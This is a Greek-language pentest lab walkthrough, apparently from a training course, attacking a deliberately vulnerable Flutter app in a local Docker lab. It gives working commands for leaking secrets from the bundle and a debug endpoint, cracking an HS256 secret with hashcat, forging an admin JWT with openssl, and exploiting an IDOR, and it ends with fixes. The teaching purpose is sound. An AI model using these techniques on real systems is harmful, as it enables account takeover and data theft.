Skip to main content

Cloud, κινητά και IoT — Καθοδηγούμενη επίδειξη

Εφαρμόζουμε συγκεκριμένα, σε μια σκόπιμα ευάλωτη εφαρμογή Flutter, τη λογική pentest κινητών του 2026: ο πελάτης δεν είναι ποτέ σύνορο ασφάλειας, ό,τι ζει στο τηλέφωνο καταλήγει να βγαίνει προς τα έξω και ο πραγματικός έλεγχος είναι στο API.

Τι θα ξέρετε να κάνετε​

  • Να αναγνωρίζετε τα πέντε κλασικά ελαττώματα μιας κακοφτιαγμένης εφαρμογής Flutter εντοπίζοντάς τα από το bundle και από τη συμπεριφορά του API.
  • Να συνδέετε αυτά τα ελαττώματα σε μια σύντομη αλυσίδα και μια μακρά αλυσίδα.
  • Να ξέρετε τι να τεκμηριώσετε στην αναφορά και ποια διόρθωση να περιμένετε από τον προγραμματιστή.

Προετοιμασία​

Το εργαστήριο χρησιμοποιεί ένα Docker lab στο labs/docker/module-11-mobile-flutter/. Τρία containers:

  • app — nginx που σερβίρει το Flutter Web build στο http://localhost:8080.
  • api — backend Node/Express στο http://localhost:3000.
  • attaquant — σταθμός Kali (image inskillsec/kali-lab) στο εσωτερικό δίκτυο 10.20.40.0/24.

Από το repo:

cd labs/docker/module-11-mobile-flutter
docker compose up -d

Επαληθεύστε:

curl -s http://localhost:3000/api/health
# {"status":"ok","service":"m11-api","version":"1.0.0"}

Ανοίξτε το http://localhost:8080 στον browser σας: βλέπετε τη σελίδα login της εφαρμογής Flutter Web.

Η πορεία, βήμα προς βήμα​

1. Οπτική αναγνώριση — DevTools ανοιχτό​

Φορτώστε τη σελίδα, ανοίξτε την καρτέλα Network πριν συνδεθείτε. Κάντε κλικ στο κουμπί Sign in. Βλέπετε ένα POST στο http://localhost:3000/api/auth/login με ένα JSON body {"email":"...","password":"..."}. Σημειώστε ήδη τον τομέα, τη θύρα, και τη δομή του body: είναι ο χάρτης σας του API.

2. Grep του bundle​

Η εφαρμογή Flutter Web φορτώνει το main.dart.js. Ανακτήστε το με το χέρι:

curl -s http://localhost:8080/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|API_KEY|PREMIUM|DEBUG|TOKEN" /tmp/main.dart.js

Αναμενόμενη έξοδος:

var API_BASE_URL = 'http://localhost:3000';
var PREMIUM_API_KEY = 'pk_live_M11_flutter_premium_key_do_not_leak';
var DEBUG_ENDPOINT = '/api/debug/env';

Τρεις ανακαλύψεις σε μία εντολή:

  • Το URL του API (το είχατε ήδη από τα DevTools αλλά αυτή η διαδρομή δουλεύει και χωρίς browser).
  • Ένα κλειδί API premium που δεν έπρεπε ποτέ να βρίσκεται στον πελάτη.
  • Ένα debug endpoint που ο προγραμματιστής έβαλε εκεί «για δοκιμή» και το ξέχασε.
Γιατί αυτό το debug endpoint είναι παγίδα

Σε μια πραγματική εφαρμογή Flutter, αυτό το είδος string προκύπτει από ένα dump reFlutter ή blutter του αρχείου libapp.so του APK. Το αποτέλεσμα είναι πανομοιότυπο: ο προγραμματιστής πιστεύει ότι οι σταθερές Dart είναι «μεταγλωττισμένες», ένας επιτιθέμενος τις ανακτά με μία εντολή. Το μάθημα είναι ανεξάρτητο από την πλατφόρμα.

3. Σύντομη διαδρομή — /api/debug/env​

Το path /api/debug/env δεν είναι μέσα στη λογική της εφαρμογής, δεν απαιτεί καμία αυθεντικοποίηση. Τεχνικά είστε ήδη στον προορισμό:

curl -s http://localhost:3000/api/debug/env

Αναμενόμενη έξοδος:

{
"warning": "DEBUG ENDPOINT - NE PAS DEPLOYER EN PROD",
"NODE_ENV": "production",
"JWT_SECRET": "s3cr3t2025",
"PREMIUM_API_KEY": "pk_live_M11_flutter_premium_key_do_not_leak",
"M11_FLAG": "FLAG-M11-FLUTTER-MOBILE-2026",
"hostname": "api"
}

Έχετε ήδη το flag. Σε μια αναφορά pentest, αυτό θα ήταν το εύρημα Νο.1, εκμεταλλεύσιμο από οποιονδήποτε, βαθμολογημένο Κρίσιμο. Τεκμηριώστε το.

4. Client-side bypass — dashboard χωρίς λογαριασμό​

Επιστροφή στον browser. Δεν έχετε κανένα token. Ανοίξτε την κονσόλα DevTools και κάντε:

localStorage.setItem('auth_token', 'not-a-real-token');
window.location.hash = '#/dashboard';

Το dashboard εμφανίζεται. Αλλά μετά από ένα δευτερόλεπτο, μεταβαίνει σε «Session expired» και σας στέλνει πίσω στο login. Γιατί;

  • Η client-side προστασία (AuthService.isAuthenticated()) εξετάζει μόνο αν localStorage.auth_token !== null. Το απλό γεγονός ότι γράψατε μια ψεύτικη τιμή περνά τον έλεγχο.
  • Η κλήση GET /api/me με το ψεύτικο token επιστρέφει 401, η σελίδα το εντοπίζει και ανακατευθύνει.

Παιδαγωγικό μάθημα: η προστασία στον πελάτη εξυπηρετεί το design, όχι την ασφάλεια. Ένας προγραμματιστής που τη χρησιμοποιεί μόνη του νομίζει ότι προστατεύεται, δεν είναι.

5. Μακρά διαδρομή — σπάσιμο HS256 + πλαστογράφηση admin​

Δημιουργήστε πρώτα έναν κανονικό λογαριασμό για να συλλάβετε ένα JWT:

curl -s -X POST http://localhost:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq

Εξάγετε το token. Αποκωδικοποιήστε το header και το payload:

TOKEN="<token που επιστράφηκε>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
# {"alg":"HS256","typ":"JWT"}
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
# {"sub":4,"email":"eve@lab.local","role":"user","iat":...,"exp":...}

Το header λέει HS256: η υπογραφή είναι ένα HMAC SHA-256 πάνω σε header.payload με ένα κοινό μυστικό. Αυτό το μυστικό ζει μόνο στον διακομιστή, αλλά αν είναι αδύναμο, μπορούμε να το βρούμε με offline brute force:

echo "$TOKEN" > /tmp/token.jwt
hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt

Ο κωδικός που σπάει είναι s3cr3t2025. Επαληθεύστε στη συνέχεια με το openssl ότι η υπογραφή του token σας αντιστοιχεί πράγματι σε αυτό το μυστικό (προαιρετικό αλλά παιδαγωγικό):

HEADER=$(echo "$TOKEN" | cut -d. -f1)
PAYLOAD=$(echo "$TOKEN" | cut -d. -f2)
echo -n "$HEADER.$PAYLOAD" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 | tr '+/' '-_' | tr -d '='
# Πρέπει να ταιριάζει με ό,τι ακολουθεί τη δεύτερη τελεία στο $TOKEN.

Πλαστογραφείτε τώρα ένα token με role=admin, sub=1:

NEW_HEADER='{"alg":"HS256","typ":"JWT"}'
NEW_PAYLOAD='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$NEW_HEADER" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$NEW_PAYLOAD" | base64 -w0 | tr '+/' '-_' | tr -d '=')
NEW_SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$NEW_SIG"
echo "$FORGED"

6. IDOR — dump του κωδικού admin σε καθαρό κείμενο​

Δεν χρειάζεστε καν το πλαστογραφημένο JWT για το IDOR: το κανονικό token της eve αρκεί, το API δεν ελέγχει την κυριότητα.

curl -s http://localhost:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq

Αναμενόμενη έξοδος:

{
"user": {
"id": 1,
"email": "admin@corp.local",
"password": "AdminP@ssw0rd_secret_2026",
"role": "admin",
"fullName": "Amina Zerouali"
}
}

Ο κωδικός είναι σε καθαρό κείμενο στο backend — δεύτερη μεγάλη τρύπα προς τεκμηρίωση. Σε ένα πραγματικό backend, αυτό θα ήταν ένα bcrypt hash, αλλά πολλές ερασιτεχνικές εφαρμογές κινητών αποθηκεύουν σε καθαρό κείμενο στον διακομιστή.

7. Πρόσβαση admin — το flag από την πόρτα​

Τέλος, το admin endpoint:

curl -s http://localhost:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq

Αναμενόμενη έξοδος:

{
"service": "m11-api",
"jwtAlgorithm": "HS256",
"premiumApiKey": "pk_live_M11_flutter_premium_key_do_not_leak",
"flag": "FLAG-M11-FLUTTER-MOBILE-2026"
}

Το ίδιο flag με τη σύντομη διαδρομή, αλλά αποκτημένο από την πόρτα: αυτό θα έκανε ένας πραγματικός pentester για να αποδείξει την πλήρη αλυσίδα και όχι απλώς την τετριμμένη διαρροή.

Ανάγνωση της εξόδου​

Τρία σήματα που πρέπει να μπορείτε να διατυπώσετε μπροστά σε έναν πελάτη:

  • Κάθε σταθερά Dart καταλήγει στο binary. Αν το backend σας απαιτεί ένα μυστικό, αυτό δεν έχει καμία δουλειά στον πελάτη κινητών. Στο bundle Flutter Web όπως και σε ένα .apk, μια απλή κειμενική αναζήτηση αρκεί.
  • Το HS256 σπάει μόλις το μυστικό δεν είναι έξοδος τυχαίας γεννήτριας. Το s3cr3t2025 πέφτει σε δευτερόλεπτα. Ένα ισχυρό μυστικό μετρά τουλάχιστον 32 τυχαία bytes, κωδικοποιημένα σε base64. Ακόμα καλύτερα: μετάβαση σε RS256 με ζεύγος κλειδιών, το ιδιωτικό κλειδί παραμένει στον διακομιστή.
  • IDOR = auth χωρίς εξουσιοδότηση. Ένα έγκυρο token δεν είναι άδεια. Κάθε endpoint που δέχεται ένα :id πρέπει να ελέγχει ότι ο καλών κατέχει ή μπορεί να δει τον πόρο.

Εκεί που ξεφεύγει​

  • Πληκτρολογείτε το λάθος curl και το API επιστρέφει Missing token. Ελέγξτε τη μορφή Authorization: Bearer <token>, χωρίς περιττά εισαγωγικά.
  • Το σπάσιμο με hashcat σάς λέει Line-length exception: το αρχείο σας περιέχει μόνο μία γραμμή, αλλά πρέπει να είναι ολόκληρο το JWT (τρία μέρη χωρισμένα με τελείες), όχι μόνο η υπογραφή.
  • Το IDOR επιστρέφει 404: ελέγξτε ότι το ζητούμενο ID υπάρχει. Τα 1, 2, 3 είναι τα seeds· τα επόμενα IDs είναι οι δικές σας εγγραφές.